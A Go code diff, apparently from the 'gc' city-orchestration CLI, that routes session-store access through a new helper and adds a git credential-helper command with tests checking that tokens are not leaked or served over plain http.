+// one-shot commands the same way it reaches the running controller (which routes
+// through resolveSessionStore via CityRuntime.sessionsBeadStore). Identity to the
+// input store at the default single-store backend (resolveSessionStore returns
+// the store verbatim there), so wrapping is byte-identical until a session
+// relocation is configured.
+//
+// The recorder is nil: a one-shot CLI command has no live event bus, matching
+// today's behavior where these paths emit no bead events. Threading a recorder
+// so relocated CLI writes emit bead.* is a separate follow-up.
+func cliSessionStore(store beads.Store, cfg *config.City, cityPath string) beads.Store {
+	return resolveSessionStore(store, cfg, cityPath, nil)
+}
+
+// cliSessionFrontDoor builds the typed session write front door over the
+// session-class store for a CLI one-shot command. It is the relocation-safe
+// replacement for sessionFrontDoor(store) at CLI command roots. The name
+// deliberately does not contain the substring "sessionFrontDoor(" so the
+// relocation guard (TestSessionRelocationRootsRouteThroughSessionClassStore) can
+// forbid the unrouted form while allowing this one.
+func cliSessionFrontDoor(store beads.Store, cfg *config.City, cityPath string) *session.Store {
+	return sessionFrontDoor(cliSessionStore(store, cfg, cityPath))
+}
diff --git a/cmd/gc/cmd_citystatus.go b/cmd/gc/cmd_citystatus.go
index 0be9c91a66..573a132a1c 100644
--- a/cmd/gc/cmd_citystatus.go
+++ b/cmd/gc/cmd_citystatus.go
@@ -1,6 +1,7 @@
 package main
 
 import (
+	"context"
 	"encoding/json"
 	"fmt"
 	"io"
@@ -71,11 +72,12 @@ type PoolJSON struct {
 
 // StatusRigJSON represents a rig in the JSON status output.
 type StatusRigJSON struct {
-	Name               string `json:"name"`
-	Path               string `json:"path"`
-	Prefix             string `json:"prefix,omitempty"`
-	Suspended          bool   `json:"suspended"`
-	DefaultSlingTarget string `json:"default_sling_target,omitempty"`
+	Name                string   `json:"name"`
+	Path                string   `json:"path"`
+	Prefix              string   `json:"prefix,omitempty"`
+	Suspended           bool     `json:"suspended"`
+	DefaultSlingTarget  string   `json:"default_sling_target,omitempty"`
+	DefaultSlingTargets []string `json:"default_sling_targets,omitempty"`
 }
 
 // StatusSummaryJSON is the agent count summary in JSON output.
@@ -178,7 +180,7 @@ func cmdCityStatus(args []string, jsonOutput bool, stdout, stderr io.Writer) int
 		}
 		return code
 	}
-	statusSnapshot := loadStatusSessionSnapshot(store, statusSnapshotTimeout(cfg), stderr)
+	statusSnapshot := loadStatusSessionSnapshot(cityPath, cfg, cliSessionStore(store, cfg, cityPath), stderr)
 	sp := newStatusSessionProviderForCityWithSnapshot(cfg, cityPath, statusSnapshot)
 	dops := newDrainOps(sp)
 	c, reason := cityStatusAPIClient(cityPath)
@@ -229,7 +231,7 @@ func routeCityStatus(
 	if code != 0 {
 		return code
 	}
-	statusSnapshot := loadStatusSessionSnapshot(store, statusSnapshotTimeout(cfg), stderr)
+	statusSnapshot := loadStatusSessionSnapshot(cityPath, cfg, cliSessionStore(store, cfg, cityPath), stderr)
 	if jsonOutput {
 		return doCityStatusJSONWithDiagnosticAndSnapshot(sp, cfg, cityPath, store, diagnostic, statusSnapshot, stdout, stderr)
 	}
@@ -396,28 +398,68 @@ type statusObservationTarget struct {
 // config ([daemon] status_snapshot_timeout), falling back to the package
 // default when no config is available.
 func statusSnapshotTimeout(cfg *config.City) time.Duration {
-	if cfg == nil {
+	// Fall back to the package default when no explicit [daemon]
+	// status_snapshot_timeout is configured, so tests (which override the
+	// package var) and unset configs both resolve here rather than to
+	// StatusSnapshotTimeoutDuration's hardcoded default.
+	if cfg == nil || strings.TrimSpace(cfg.Daemon.StatusSnapshotTimeout) == "" {
 		return statusSessionSnapshotTimeout
 	}
 	return cfg.Daemon.StatusSnapshotTimeoutDuration()
 }
 
-func loadStatusSessionSnapshot(store beads.Store, timeout time.Duration, stderr io.Writer) *sessionBeadSnapshot {
+func loadStatusSessionSnapshot(cityPath string, cfg *config.City, store beads.Store, stderr io.Writer) *sessionBeadSnapshot {
 	if store == nil {
 		return newSessionBeadSnapshot(nil)
 	}
 	// A non-positive timeout (e.g. an unset/zeroed caller) falls back to the
 	// historical default so status never blocks the snapshot load indefinitely.
+	timeout := statusSnapshotTimeout(cfg)
 	if timeout <= 0 {
 		timeout = statusSessionSnapshotTimeout
 	}
+	// Callers pass the session coordination-class store (cliSessionStore) so a
+	// [beads.classes.sessions] relocation reaches this snapshot; the guard in
+	// frontdoor_di_guard_test.go pins that seam at each read-site file.
+
+	// A throwaway, ctx-bound clone of store when it's bd-CLI-backed: on
+	// timeout below, canceling reqCtx kills an in-flight bd child instead
+	// of abandoning it to run past this function's return (gascity
+	// ga-cdmx6x). scopedStoreLike answers (nil, nil) for non-bd-CLI
+	// backends, which have no subprocess to leak — those keep reading
+	// through store directly, unchanged.
+	//
+	// SPLIT CAVEAT (must fix in cmd/gc/scoped_store.go before enabling the
+	// domain/infra split): scopedStoreLike is CLASS-BLIND — it unwraps to the
+	// backing *beads.BdStore and rebuilds a scoped clone from cityPath / the
+	// backing Dir(), never re-consulting resolveClassStore. Today that is
+	// byte-identical (cliSessionStore is identity, so store's backing Dir() ==
+	// cityPath). Once [beads.classes.sessions] relocates to a bd-CLI-backed
+	// store, this clone would silently re-point the session read at the WORK
+	// store, defeating the cliSessionStore seam above (the DI guard cannot catch
+	// it — the cliSessionStore( needle is still present). scopedStoreLike must be
+	// made class-preserving (clone what it unwrapped, or refuse to unwrap a
+	// relocated store so this keeps reading through the routed store) as part of
+	// the split, where a real infra store makes the fix testable.
+	reqCtx, cancel := context.WithTimeout(context.Background(), timeout)
+	defer cancel()
+	readStore := store
+	if scoped, err := scopedStoreLike(reqCtx, cityPath, cfg, store); err != nil {
+		if stderr != nil {
+			fmt.Fprintf(stderr, "gc status: loading session snapshot: resolving store: %v\n", err) //nolint:errcheck // best-effort stderr
+		}
+		return newSessionBeadSnapshotWithError(fmt.Errorf("loading session snapshot: resolving store: %w", err))
+	} else if scoped != nil {
+		readStore = scoped
+	}
+
 	type snapshotResult struct {
 		snapshot *sessionBeadSnapshot
 		err      error
 	}
 	done := make(chan snapshotResult, 1)
 	go func() {
-		snapshot, err := loadSessionBeadSnapshot(store)
+		snapshot, err := loadSessionBeadSnapshot(readStore)
 		done <- snapshotResult{snapshot: snapshot, err: err}
 	}()
 
@@ -448,21 +490,21 @@ func statusObservationTargetForIdentity(
 	sessionTemplate string,
 ) statusObservationTarget {
 	if snapshot != nil {
-		if bead, ok := snapshot.FindSessionBeadByTemplate(identity); ok {
-			if sessionName := strings.TrimSpace(bead.Metadata["session_name"]); sessionName != "" {
+		if info, ok := snapshot.FindInfoByTemplate(identity); ok {
+			if sessionName := strings.TrimSpace(info.SessionNameMetadata); sessionName != "" {
 				return statusObservationTarget{
 					runtimeSessionName: sessionName,
-					sessionID:          bead.ID,
-					suspended:          sessionMetadataState(bead) == string(session.StateSuspended),
+					sessionID:          info.ID,
+					suspended:          sessionMetadataStateInfo(info) == string(session.StateSuspended),
 				}
 			}
 		}
-		if bead, ok := snapshot.FindSessionBeadByNamedIdentity(identity); ok {
-			if sessionName := strings.TrimSpace(bead.Metadata["session_name"]); sessionName != "" {
+		if info, ok := snapshot.FindInfoByNamedIdentity(identity); ok {
+			if sessionName := strings.TrimSpace(info.SessionNameMetadata); sessionName != "" {
 				return statusObservationTarget{
 					runtimeSessionName: sessionName,
-					sessionID:          bead.ID,
-					suspended:          sessionMetadataState(bead) == string(session.StateSuspended),
+					sessionID:          info.ID,
+					suspended:          sessionMetadataStateInfo(info) == string(session.StateSuspended),
 				}
 			}
 		}
@@ -498,7 +540,7 @@ func doCityStatus(
 	if code != 0 {
 		return code
 	}
-	return doCityStatusWithStoreAndSnapshot(sp, dops, cfg, cityPath, store, loadStatusSessionSnapshot(store, statusSnapshotTimeout(cfg), stderr), stdout, stderr)
+	return doCityStatusWithStoreAndSnapshot(sp, dops, cfg, cityPath, store, loadStatusSessionSnapshot(cityPath, cfg, cliSessionStore(store, cfg, cityPath), stderr), stdout, stderr)
 }
 
 func doCityStatusWithStoreAndSnapshot(
@@ -548,7 +590,7 @@ func doCityStatusJSON(
 	if code != 0 {
 		return code
 	}
-	return doCityStatusJSONWithDiagnosticAndSnapshot(sp, cfg, cityPath, store, diagnostic, loadStatusSessionSnapshot(store, statusSnapshotTimeout(cfg), stderr), stdout, stderr)
+	return doCityStatusJSONWithDiagnosticAndSnapshot(sp, cfg, cityPath, store, diagnostic, loadStatusSessionSnapshot(cityPath, cfg, cliSessionStore(store, cfg, cityPath), stderr), stdout, stderr)
 }
 
 func doCityStatusJSONWithDiagnosticAndSnapshot(
diff --git a/cmd/gc/cmd_config.go b/cmd/gc/cmd_config.go
index d301df0f4e..d8a3c6337a 100644
--- a/cmd/gc/cmd_config.go
+++ b/cmd/gc/cmd_config.go
@@ -126,6 +126,9 @@ func doConfigShow(validate, showProvenance, asJSON bool, stdout, stderr io.Write
 	if err := config.ValidateRigs(cfg.Rigs, config.EffectiveHQPrefix(cfg)); err != nil {
 		validationErrors = append(validationErrors, err.Error())
 	}
+	if err := config.ValidateWebhooks(cfg.Webhooks); err != nil {
+		validationErrors = append(validationErrors, err.Error())
+	}
 	if err := config.ValidateServices(cfg.Services); err != nil {
 		validationErrors = append(validationErrors, err.Error())
 	} else if err := workspacesvc.ValidateRuntimeSupport(cfg.Services); err != nil {
diff --git a/cmd/gc/cmd_doctor.go b/cmd/gc/cmd_doctor.go
index 5ae928f5d5..7d38073240 100644
--- a/cmd/gc/cmd_doctor.go
+++ b/cmd/gc/cmd_doctor.go
@@ -231,7 +231,7 @@ func buildDoctorChecks(cityPath string, cfg *config.City, cfgErr error, opts bui
 		register(doctor.NewServiceSecretsPermsCheck(cfg, cityPath))
 		register(doctor.NewSkillCollisionCheck(cfg, cityPath))
 		register(doctor.NewOrderFiringCurrentCheck(cfg, cityPath, doctor.WithOrderFiringCurrentLastRunFunc(doctorOrderFiringCurrentLastRunFunc(cityPath, cfg, opts.Stderr))))
-		register(newCodexHooksDriftCheck(codexHookWorkDirs(cityPath, cfg)))
+		register(newCodexHooksDriftCheck(cityPath, codexHookWorkDirs(cityPath, cfg)))
 		register(newBeadsProxiedCapabilityCheck(cfg))
 		// bd build pin: `bd --version` must contain [beads] expected_build
 		// (brew-clobber class). No-op when the pin is unset.
@@ -257,6 +257,12 @@ func buildDoctorChecks(cityPath string, cfg *config.City, cfgErr error, opts bui
 		register(doctor.NewPackCacheCheck(cfg.Packs, cityPath))
 	}
 
+	// Pack-source credential check: validates credentials.toml load and reports
+	// which remote imports lack a matching rule.
+	if cfgErr == nil && cfg != nil {
+		register(doctor.NewPackCredentialsCheck(cfg.Imports))
+	}
+
 	// Infrastructure checks — universal dependencies.
 	// dolt/bd/flock are checked by pack doctor scripts (check-bd.sh,
 	// check-dolt.sh) which also verify versions and service health.
diff --git a/cmd/gc/cmd_git_credential.go b/cmd/gc/cmd_git_credential.go
new file mode 100644
index 0000000000..820057ca8e
--- /dev/null
+++ b/cmd/gc/cmd_git_credential.go
@@ -0,0 +1,91 @@
+package main
+
+import (
+	"fmt"
+	"io"
+	"os"
+	"strings"
+
+	"github.com/gastownhall/gascity/internal/gitcred"
+	"github.com/spf13/cobra"
+)
+
+// newGitCredentialCmd builds the hidden `gc git-credential <operation>` helper
+// git invokes when credential injection wires gc as the credential helper. The
+// operation is a positional arg (not a subcommand) because git calls
+// "<helper> get|store|erase" and the protocol requires unknown operations be
+// ignored.
+func newGitCredentialCmd(stdout, stderr io.Writer) *cobra.Command {
+	return &cobra.Command{
+		Use:          "git-credential <operation>",
+		Short:        "Git credential helper (invoked by git, not directly)",
+		Hidden:       true,
+		Args:         cobra.ExactArgs(1),
+		SilenceUsage: true,
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := runGitCredential(args[0], cmd.InOrStdin(), stdout, stderr); err != nil {
+				return errExit
+			}
+			return nil
+		},
+	}
+}
+
+// runGitCredential implements the git-credential protocol for the "get"
+// operation and drains-and-ignores every other operation. It resolves the
+// matching credential from the gitcred rules (re-loaded here using
+// GC_CREDENTIAL_CITY for the city layer) and writes it to stdout. It never logs
+// the request or the credential, and its errors never contain a secret.
+func runGitCredential(op string, stdin io.Reader, stdout, stderr io.Writer) error {
+	// Always drain stdin first: git writes the request unconditionally, and an
+	// unread pipe risks SIGPIPE on git's side.
+	req, err := gitcred.ReadRequest(stdin)
+	if err != nil {
+		fmt.Fprintf(stderr, "gc git-credential: reading request: %v\n", err) //nolint:errcheck
+		return err
+	}
+	if op != "get" {
+		// store/erase/future ops: protocol no-op after the drain.
+		return nil
+	}
+
+	cityRoot := strings.TrimSpace(os.Getenv(gitcred.EnvCredentialCity))
+	rules, err := gitcred.Load(cityRoot)
+	if err != nil {
+		// The injection side already matched, so a broken rules file must fail
+		// the clone loudly rather than silently degrade to anonymous.
+		fmt.Fprintf(stderr, "gc git-credential: %v\n", err) //nolint:errcheck
+		return err
+	}
+
+	rule, matched := rules.MatchRequest(req)
+	if !matched {
+		if !rules.HasCommandLayer() {
+			// Protocol decline: zero output, exit 0. git then fails under
+			// GIT_TERMINAL_PROMPT=0, which is the intended outcome.
+			return nil
+		}
+		cred, ok, cmdErr := gitcred.RunCredentialCommand(os.Getenv(gitcred.EnvCredentialCommand), req)
+		if cmdErr != nil {
+			fmt.Fprintf(stderr, "gc git-credential: %v\n", cmdErr) //nolint:errcheck
+			return cmdErr
+		}
+		if !ok {
+			return nil // command declined
+		}
+		return gitcred.WriteCredential(stdout, cred)
+	}
+
+	if strings.TrimSpace(rule.SSHKeyFile) != "" {
+		// ssh rules are served via GIT_SSH_COMMAND on the injection side, not the
+		// credential helper — decline silently here.
+		return nil
+	}
+
+	cred, err := gitcred.Resolve(rule.Rule)
+	if err != nil {
+		fmt.Fprintf(stderr, "gc git-credential: resolving credential for %s: %v\n", rule.Match, err) //nolint:errcheck
+		return err
+	}
+	return gitcred.WriteCredential(stdout, cred)
+}
diff --git a/cmd/gc/cmd_git_credential_test.go b/cmd/gc/cmd_git_credential_test.go
new file mode 100644
index 0000000000..176175ac28
--- /dev/null
+++ b/cmd/gc/cmd_git_credential_test.go
@@ -0,0 +1,213 @@
+package main
+
+import (
+	"os"
+	"path/filepath"
+	"runtime"
+	"strings"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/gitcred"
+)
+
+func writeGitCredRules(t *testing.T, city, body string, mode os.FileMode) {
+	t.Helper()
+	dir := filepath.Join(city, ".gc")
+	if err := os.MkdirAll(dir, 0o755); err != nil {
+		t.Fatalf("mkdir: %v", err)
+	}
+	path := filepath.Join(dir, "credentials.toml")
+	if err := os.WriteFile(path, []byte(body), mode); err != nil {
+		t.Fatalf("write: %v", err)
+	}
+	if err := os.Chmod(path, mode); err != nil {
+		t.Fatalf("chmod: %v", err)
+	}
+}
+
+func clearGitCredEnv(t *testing.T, city string) {
+	t.Helper()
+	t.Setenv("GC_HOME", t.TempDir())
+	t.Setenv(gitcred.EnvCredentialsFile, "")
+	t.Setenv(gitcred.EnvCredentialCommand, "")
+	t.Setenv(gitcred.EnvCredentialCity, city)
+	// Clear the ambient GitHub token env so the built-in github.com default rule
+	// stays inert and these tests observe only their own configured rules.
+	t.Setenv("GITHUB_TOKEN", "")
+	t.Setenv("GH_TOKEN", "")
+}
+
+func TestRunGitCredentialGetHappyPath(t *testing.T) {
+	city := t.TempDir()
+	clearGitCredEnv(t, city)
+	writeGitCredRules(t, city, "[[credential]]\nmatch=\"github.com/org\"\nhelper=\"printf 'ghp_tok\\\\n'\"\n", 0o600)
+
+	var stdout, stderr strings.Builder
+	in := strings.NewReader("protocol=https\nhost=github.com\npath=org/repo.git\n\n")
+	if err := runGitCredential("get", in, &stdout, &stderr); err != nil {
+		t.Fatalf("runGitCredential: %v (stderr=%q)", err, stderr.String())
+	}
+	want := "username=x-access-token\npassword=ghp_tok\n"
+	if stdout.String() != want {
+		t.Fatalf("stdout = %q, want %q", stdout.String(), want)
+	}
+}
+
+func TestRunGitCredentialDeclineOnNoMatch(t *testing.T) {
+	city := t.TempDir()
+	clearGitCredEnv(t, city)
+	writeGitCredRules(t, city, "[[credential]]\nmatch=\"other.com\"\nhelper=\"echo x\"\n", 0o600)
+
+	var stdout, stderr strings.Builder
+	in := strings.NewReader("protocol=https\nhost=github.com\npath=org/repo\n\n")
+	if err := runGitCredential("get", in, &stdout, &stderr); err != nil {
+		t.Fatalf("runGitCredential: %v", err)
+	}
+	if stdout.String() != "" {
+		t.Fatalf("decline must produce zero stdout, got %q", stdout.String())
+	}
+}
+
+func TestRunGitCredentialGitHubDefaultHTTPSOnly(t *testing.T) {
+	// The built-in ambient github.com token is an HTTPS convenience. A plaintext
+	// http credential request must be declined so the bearer token is never
+	// served over cleartext; an https request still resolves it.
+	city := t.TempDir()
+	clearGitCredEnv(t, city)
+	t.Setenv("GITHUB_TOKEN", "ghp_ambient")
+
+	// protocol=http → declined, zero stdout.
+	var httpOut, httpErr strings.Builder
+	httpIn := strings.NewReader("protocol=http\nhost=github.com\npath=org/repo\n\n")
+	if err := runGitCredential("get", httpIn, &httpOut, &httpErr); err != nil {
+		t.Fatalf("runGitCredential(http): %v (stderr=%q)", err, httpErr.String())
+	}
+	if httpOut.String() != "" {
+		t.Fatalf("plaintext http must not receive the ambient token, got %q", httpOut.String())
+	}
+
+	// protocol=https → the default rule resolves the ambient token.
+	var httpsOut, httpsErr strings.Builder
+	httpsIn := strings.NewReader("protocol=https\nhost=github.com\npath=org/repo\n\n")
+	if err := runGitCredential("get", httpsIn, &httpsOut, &httpsErr); err != nil {
+		t.Fatalf("runGitCredential(https): %v (stderr=%q)", err, httpsErr.String())
+	}
+	want := "username=x-access-token\npassword=ghp_ambient\n"
+	if httpsOut.String() != want {
+		t.Fatalf("https stdout = %q, want %q", httpsOut.String(), want)
+	}
+}
+
+func TestRunGitCredentialStoreEraseUnknownDrainAndExit0(t *testing.T) {
+	city := t.TempDir()
+	clearGitCredEnv(t, city)
+	for _, op := range []string{"store", "erase", "future-op"} {
+		var stdout, stderr strings.Builder
+		in := strings.NewReader("protocol=https\nhost=github.com\npath=org/repo\n\n")
+		if err := runGitCredential(op, in, &stdout, &stderr); err != nil {
+			t.Fatalf("op %q: %v", op, err)
+		}
+		if stdout.String() != "" {
+			t.Fatalf("op %q must produce zero stdout, got %q", op, stdout.String())
+		}
+	}
+}
+
+func TestRunGitCredentialInsecurePermsFails(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("permission bits are POSIX-only")
+	}
+	city := t.TempDir()
+	clearGitCredEnv(t, city)
+	writeGitCredRules(t, city, "[[credential]]\nmatch=\"github.com\"\nhelper=\"echo x\"\n", 0o644)
+
+	var stdout, stderr strings.Builder
+	in := strings.NewReader("protocol=https\nhost=github.com\npath=org/repo\n\n")
+	if err := runGitCredential("get", in, &stdout, &stderr); err == nil {
+		t.Fatalf("expected error on insecure perms")
+	}
+	if stdout.String() != "" {
+		t.Fatalf("stdout must be empty on failure, got %q", stdout.String())
+	}
+	if stderr.String() == "" {
+		t.Fatalf("expected a stderr message")
+	}
+}
+
+func TestRunGitCredentialTokenEnvUnsetFailsWithoutSecret(t *testing.T) {
+	city := t.TempDir()
+	clearGitCredEnv(t, city)
+	t.Setenv("GC_TEST_MISSING", "")
+	writeGitCredRules(t, city, "[[credential]]\nmatch=\"github.com\"\ntoken_env=\"GC_TEST_MISSING\"\n", 0o600)
+
+	var stdout, stderr strings.Builder
+	in := strings.NewReader("protocol=https\nhost=github.com\npath=org/repo\n\n")
+	if err := runGitCredential("get", in, &stdout, &stderr); err == nil {
+		t.Fatalf("expected error for unset token_env")
+	}
+	if !strings.Contains(stderr.String(), "GC_TEST_MISSING") {
+		t.Fatalf("stderr should name the env var, got %q", stderr.String())
+	}
+	if stdout.String() != "" {
+		t.Fatalf("stdout must be empty on failure")
+	}
+}
+
+func TestRunGitCredentialErrorNeverLeaksSecret(t *testing.T) {
+	city := t.TempDir()
+	clearGitCredEnv(t, city)
+	t.Setenv("GC_TEST_TOK", "ghp_supersecret")
+	// A helper that fails: stderr must not carry the resolved secret. Use a
+	// token_file pointer at a path that does not exist so Resolve errors.
+	writeGitCredRules(t, city, "[[credential]]\nmatch=\"github.com\"\ntoken_file=\"/nonexistent/secret-token\"\n", 0o600)
+
+	var stdout, stderr strings.Builder
+	in := strings.NewReader("protocol=https\nhost=github.com\npath=org/repo\n\n")
+	_ = runGitCredential("get", in, &stdout, &stderr)
+	if strings.Contains(stderr.String(), "ghp_supersecret") {
+		t.Fatalf("stderr leaked a secret: %q", stderr.String())
+	}
+}
+
+func TestRunGitCredentialSSHRuleDeclines(t *testing.T) {
+	city := t.TempDir()
+	clearGitCredEnv(t, city)
+	writeGitCredRules(t, city, "[[credential]]\nmatch=\"github.com\"\nssh_key_file=\"~/.ssh/id\"\n", 0o600)
+
+	var stdout, stderr strings.Builder
+	// The helper serves http(s) transport; an ssh_key_file rule is transport-
+	// incompatible (served via GIT_SSH_COMMAND on the injection side), so the
+	// helper declines silently.
+	in := strings.NewReader("protocol=https\nhost=github.com\npath=org/repo\n\n")
+	if err := runGitCredential("get", in, &stdout, &stderr); err != nil {
+		t.Fatalf("runGitCredential: %v", err)
+	}
+	if stdout.String() != "" {
+		t.Fatalf("ssh rule must decline with zero stdout, got %q", stdout.String())
+	}
+}
+
+func TestRunGitCredentialMalformedRequest(t *testing.T) {
+	city := t.TempDir()
+	clearGitCredEnv(t, city)
+	var stdout, stderr strings.Builder
+	in := strings.NewReader("this-is-not-a-key-value-line\n")
+	if err := runGitCredential("get", in, &stdout, &stderr); err == nil {
+		t.Fatalf("expected error for malformed request")
+	}
+}
+
+func TestRunGitCredentialCommandLayer(t *testing.T) {
+	city := t.TempDir()
+	clearGitCredEnv(t, city)
+	t.Setenv(gitcred.EnvCredentialCommand, "printf 'username=bot\\npassword=cmdtok\\n'")
+
+	var stdout, stderr strings.Builder
+	in := strings.NewReader("protocol=https\nhost=github.com\npath=org/repo\n\n")
+	if err := runGitCredential("get", in, &stdout, &stderr); err != nil {
+		t.Fatalf("runGitCredential: %v", err)
+	}
+	if !strings.Contains(stdout.String(), "password=cmdtok") {
+		t.Fatalf("command layer should emit credential, got %q", stdout.String())
+	}
+}
diff --git a/cmd/gc/cmd_handoff.go b/cmd/gc/cmd_handoff.go
index 3ff9a5918e..efa31e1bfc 100644
--- a/cmd/gc/cmd_handoff.go
+++ b/cmd/gc/cmd_handoff.go
@@ -149,17 +149,25 @@ func cmdHandoff(args []string, target string, auto bool, hookFormat string, stdo
 		fmt.Fprintln(stderr, "hint: run \"gc doctor\" for diagnostics") //nolint:errcheck // best-effort stderr
 		return 1
 	}
+	// Route the handoff's SESSION-class access (restartability, restart-request
+	// clear/persist, and beadmail's session-addressing arm) to the session
+	// coordination-class store so a [beads.classes.sessions] relocation reaches gc
+	// handoff the same way it reaches the controller. The routing cfg is loaded
+	// refresh-free — the auto branch runs before the main cfg load; identity today,
+	// so byte-identical.
+	routeCfg, _ := loadCityConfigWithoutBuiltinPackRefresh(current.cityPath, io.Discard)
+	sessStore := cliSessionStore(store, routeCfg, current.cityPath)
 	rec := openCityRecorderAt(current.cityPath, stderr)
 	if auto {
-		return doHandoffAuto(store, rec, current.display, args, hookFormat, stdout, stderr)
+		return doHandoffAuto(store, sessStore, rec, current.display, args, hookFormat, stdout, stderr)
 	}
 
 	sp := newSessionProvider()
 	dops := newDrainOps(sp)
 	cfg, _ := loadCityConfig(current.cityPath, stderr)
-	persistRestart := sessionRestartPersister(current.cityPath, store, sp, cfg, current.sessionName)
+	persistRestart := sessionRestartPersister(current.cityPath, sessStore, sp, cfg, current.sessionName)
 
-	outcome := doHandoffWithOutcome(store, rec, dops, persistRestart, current.display, current.sessionName, args, stdout, stderr)
+	outcome := doHandoffWithOutcome(store, sessStore, rec, dops, persistRestart, current.display, current.sessionName, args, stdout, stderr)
 	if outcome.code != 0 {
 		return outcome.code
 	}
@@ -192,22 +200,26 @@ func cmdHandoffRemote(args []string, target string, stdout, stderr io.Writer) in
 		return 1
 	}
 	cfg, _ := loadCityConfig(cityPath, stderr)
-	sender, ok := resolveDefaultMailSenderForCommand(cityPath, cfg, store, stderr, "gc handoff")
+	// Route SESSION-class access (sender identity resolution, restartability, remote
+	// kill/observe/identity, resolveSessionID, beadmail's session addressing) to the
+	// session coordination-class store; identity today, so byte-identical.
+	sessStore := cliSessionStore(store, cfg, cityPath)
+	sender, ok := resolveDefaultMailSenderForCommand(cityPath, cfg, sessStore, stderr, "gc handoff")
 	if !ok {
 		return 1
 	}
 
 	sp := newSessionProvider()
 	rec := openCityRecorder(stderr)
-	return doHandoffRemote(store, rec, sp, targetInfo.sessionName, targetInfo.display, sender, args, stdout, stderr)
+	return doHandoffRemote(store, sessStore, rec, sp, targetInfo.sessionName, targetInfo.display, sender, args, stdout, stderr)
 }
 
-func sessionRestartPersister(cityPath string, store beads.Store, sp runtime.Provider, cfg *config.City, target string) func() error {
-	if store == nil {
+func sessionRestartPersister(cityPath string, sessStore beads.Store, sp runtime.Provider, cfg *config.City, target string) func() error {
+	if sessStore == nil {
 		return nil
 	}
 	return func() error {
-		handle, err := workerHandleForSessionTargetWithConfig(cityPath, store, sp, cfg, target)
+		handle, err := workerHandleForSessionTargetWithConfig(cityPath, sessStore, sp, cfg, target)
 		if err != nil {
 			return err
 		}
@@ -222,27 +234,27 @@ type handoffOutcome struct {
 
 // doHandoff sends a handoff mail to self and requests restart when the
 // controller can restart the current session. Testable: does not block.
-func doHandoff(store beads.Store, rec events.Recorder, dops drainOps, persistRestart func() error,
+func doHandoff(store, sessStore beads.Store, rec events.Recorder, dops drainOps, persistRestart func() error,
 	sessionAddress, sessionName string, args []string, stdout, stderr io.Writer,
 ) int {
-	return doHandoffWithOutcome(store, rec, dops, persistRestart, sessionAddress, sessionName, args, stdout, stderr).code
+	return doHandoffWithOutcome(store, sessStore, rec, dops, persistRestart, sessionAddress, sessionName, args, stdout, stderr).code
 }
 
-func doHandoffWithOutcome(store beads.Store, rec events.Recorder, dops drainOps, persistRestart func() error,
+func doHandoffWithOutcome(store, sessStore beads.Store, rec events.Recorder, dops drainOps, persistRestart func() error,
 	sessionAddress, sessionName string, args []string, stdout, stderr io.Writer,
 ) handoffOutcome {
-	b, ok := createHandoffMail(store, rec, sessionAddress, sessionAddress, args, "HANDOFF: context cycle", nil, stderr)
+	b, ok := createHandoffMail(store, sessStore, rec, sessionAddress, sessionAddress, args, "HANDOFF: context cycle", nil, stderr)
 	if !ok {
 		return handoffOutcome{code: 1}
 	}
 
-	restartable, err := sessionRestartableByController(store, sessionName)
+	restartable, err := sessionRestartableByController(sessStore, sessionName)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc handoff: checking session type: %v\n", err) //nolint:errcheck // best-effort stderr
 		return handoffOutcome{code: 1}
 	}
 	if !restartable {
-		if err := clearRestartRequest(store, dops, sessionName); err != nil {
+		if err := clearRestartRequest(sessStore, dops, sessionName); err != nil {
 			fmt.Fprintf(stderr, "gc handoff: clearing stale restart request: %v\n", err) //nolint:errcheck // best-effort stderr
 			return handoffOutcome{code: 1}
 		}
@@ -273,8 +285,8 @@ func doHandoffWithOutcome(store beads.Store, rec events.Recorder, dops drainOps,
 }
 
 // doHandoffAuto sends handoff mail to self without requesting restart.
-func doHandoffAuto(store beads.Store, rec events.Recorder, sessionAddress string, args []string, hookFormat string, stdout, stderr io.Writer) int {
-	b, ok := createHandoffMail(store, rec, sessionAddress, sessionAddress, args, "context cycle", []string{
+func doHandoffAuto(store, sessStore beads.Store, rec events.Recorder, sessionAddress string, args []string, hookFormat string, stdout, stderr io.Writer) int {
+	b, ok := createHandoffMail(store, sessStore, rec, sessionAddress, sessionAddress, args, "context cycle", []string{
 		mail.AutoHandoffLabel,
 		mail.ArchiveAfterInjectLabel,
 	}, stderr)
@@ -294,7 +306,7 @@ func doHandoffAuto(store beads.Store, rec events.Recorder, sessionAddress string
 // (Type="message", thread label, extra labels, sender-route metadata) is
 // confined inside beadmail.Provider.SendHandoff. The returned mail.Message
 // carries the assigned ID for the caller's confirmation output.
-func createHandoffMail(store beads.Store, rec events.Recorder, senderAddress, recipientAddress string, args []string, defaultSubject string, extraLabels []string, stderr io.Writer) (mail.Message, bool) {
+func createHandoffMail(store, sessStore beads.Store, rec events.Recorder, senderAddress, recipientAddress string, args []string, defaultSubject string, extraLabels []string, stderr io.Writer) (mail.Message, bool) {
 	subject := defaultSubject
 	if len(args) > 0 {
 		subject = args[0]
@@ -307,9 +319,13 @@ func createHandoffMail(store beads.Store, rec events.Recorder, senderAddress, re
 	// Handoff intentionally constructs the concrete bead-backed provider rather
 	// than resolving the configured mail provider (GC_MAIL / city.toml): handoff
 	// needs the thread label and handoff-specific extra-labels that SendHandoff
-	// expresses, which aren't part of the generic provider surface. This
-	// preserves the prior direct-store.Create behavior exactly (no regression).
-	provider := beadmail.New(store)
+	// expresses, which aren't part of the generic provider surface. Built as a
+	// two-store provider (mirroring newCityMailProvider): message-bead persistence
+	// stays on the messaging-class store while beadmail's session addressing/identity
+	// reads follow the session-class store. beadmail.New(store) is defined as
+	// NewWithStores(store, store), so with sessStore==store this is byte-identical
+	// today and only diverges once sessions relocate.
+	provider := beadmail.NewWithStores(store, sessStore)
 	msg, err := provider.SendHandoff(mail.HandoffIntent{
 		From:        senderAddress,
 		To:          recipientAddress,
@@ -332,18 +348,18 @@ func createHandoffMail(store beads.Store, rec events.Recorder, senderAddress, re
 	return msg, true
 }
 
-func sessionRestartableByController(store beads.Store, sessionName string) (bool, error) {
-	if store == nil || sessionName == "" {
+func sessionRestartableByController(sessStore beads.Store, sessionName string) (bool, error) {
+	if sessStore == nil || sessionName == "" {
 		return true, nil
 	}
-	id, err := resolveSessionID(store, sessionName)
+	id, err := resolveSessionID(sessStore, sessionName)
 	if err != nil {
